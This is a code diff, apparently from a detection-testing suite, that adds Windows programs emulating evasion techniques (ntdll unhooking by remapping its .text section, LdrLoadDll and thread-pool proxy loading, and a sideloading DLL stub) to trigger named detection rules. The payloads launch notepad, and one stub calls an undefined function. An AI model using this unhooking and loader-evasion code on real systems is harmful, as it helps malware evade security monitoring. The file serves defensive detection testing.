|
||||
|
||||
if (NT_SUCCESS(RtlRegisterWait(&newWaitObject, eventObject, LoadLibraryW,
|
||||
(PVOID)libraryName, 0, WT_EXECUTEDEFAULT))) {
|
||||
WaitForSingleObject(eventObject, 500);
|
||||
}
|
||||
}
|
||||
|
||||
return getModuleHandle(libraryName);
|
||||
}
|
||||
|
||||
int main(int argc, char ** argv) {
|
||||
WCHAR libraryName1[] = L"ws2_32.dll";
|
||||
WCHAR libraryName2[] = L"dnsapi.dll";
|
||||
|
||||
HMODULE moduleHandle = queueLoadLibrary(libraryName1, TRUE);
|
||||
printf("%ws loaded at 0x%p via RtlQueueWorkItem\n", libraryName1, moduleHandle);
|
||||
FreeLibrary(moduleHandle);
|
||||
|
||||
moduleHandle = queueLoadLibrary(libraryName2, FALSE);
|
||||
printf("%ws loaded at 0x%p via RtlRegisterWait\n", libraryName2, moduleHandle);
|
||||
FreeLibrary(moduleHandle);
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
extern "C" __declspec(dllexport)
|
||||
DWORD WINAPI WerpInitiateCrashReporting(LPVOID lpParam) {
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
LPTSTR cmd = __TEXT("c:\\windows\\system32\\notepad.exe");
|
||||
if (!CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
MessageBox(NULL, "Create Process failed", "Error", NULL);
|
||||
}
|
||||
auto const address = VirtualAlloc(NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
|
||||
HANDLE h = LoadLibraryA("ws2_32.dll");
|
||||
DWORD old;
|
||||
VirtualProtect(address, 0x10, PAGE_READWRITE, &old);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
extern "C" __declspec(dllexport)
|
||||
BOOL APIENTRY DllMain(HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(NULL, NULL, OIPC_InitPlus, NULL, NULL, NULL);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <psapi.h>
|
||||
|
||||
|
||||
typedef NTSTATUS(NTAPI* pLdrLoadDll) (
|
||||
PWCHAR PathToFile,
|
||||
ULONG Flags,
|
||||
PUNICODE_STRING ModuleFileName,
|
||||
PHANDLE ModuleHandle
|
||||
);
|
||||
|
||||
typedef VOID(NTAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
HMODULE NtLoad(LPCWSTR lpFileName) {
|
||||
UNICODE_STRING ustrModule;
|
||||
HANDLE hModule = NULL;
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||||
|
||||
RtlInitUnicodeString(&ustrModule, lpFileName);
|
||||
|
||||
pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
|
||||
if (!myLdrLoadDll) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
|
||||
return (HMODULE)hModule;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
HANDLE process = GetCurrentProcess();
|
||||
MODULEINFO mi = {};
|
||||
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFOW initInfo = { 0 };
|
||||
initInfo.cb = sizeof(initInfo);
|
||||
PROCESS_INFORMATION procInfo = { 0 };
|
||||
|
||||
|
||||
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
|
||||
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
|
||||
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
|
||||
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
|
||||
|
||||
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
|
||||
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
|
||||
|
||||
// unhook current proces ntdll .txt section
|
||||
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
|
||||
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
|
||||
|
||||
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
|
||||
DWORD oldProtection = 0;
|
||||
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
|
||||
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
|
||||
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
|
||||
}
|
||||
}
|
||||
|
||||
// load ws2_32.dll from unhooked ntdll to trigger "Potential NTDLL Memory Unhooking"
|
||||
HANDLE ws32 = LoadLibraryA("C:\\Windows\\system32\\ws2_32.dll");
|
||||
printf("[+] - ws2_32.dll loaded at 0x%p\n", ws32);
|
||||
|
||||
// create notepad.exe from unhooked ntdll to trigger "Process Creation from Modified NTDLL"
|
||||
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, (LPSTARTUPINFOA)&initInfo, &procInfo);
|
||||
printf("[+] - notepad.exe created from unhooked ntdll\n");
|
||||
|
||||
// load psapi.dll via LdrLoadDll to trigger "Suspicious Image Load via LdrLoadDLL"
|
||||
HMODULE psapi = NtLoad(L"psapi.dll");
|
||||
printf("[+] - psapi.dll loaded at 0x%p via LdrLoadDll\n", psapi);
|
||||
|
||||
printf("[+] - RTA Done!\n", psapi);
|
||||
|
||||
// close handles
|
||||
CloseHandle(process);
|
||||
CloseHandle(ntdllFile);
|
||||
CloseHandle(ntdllMapping);
|
||||
CloseHandle(ws32);
|
||||
CloseHandle(psapi);
|
||||
FreeLibrary(ntdllModule);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user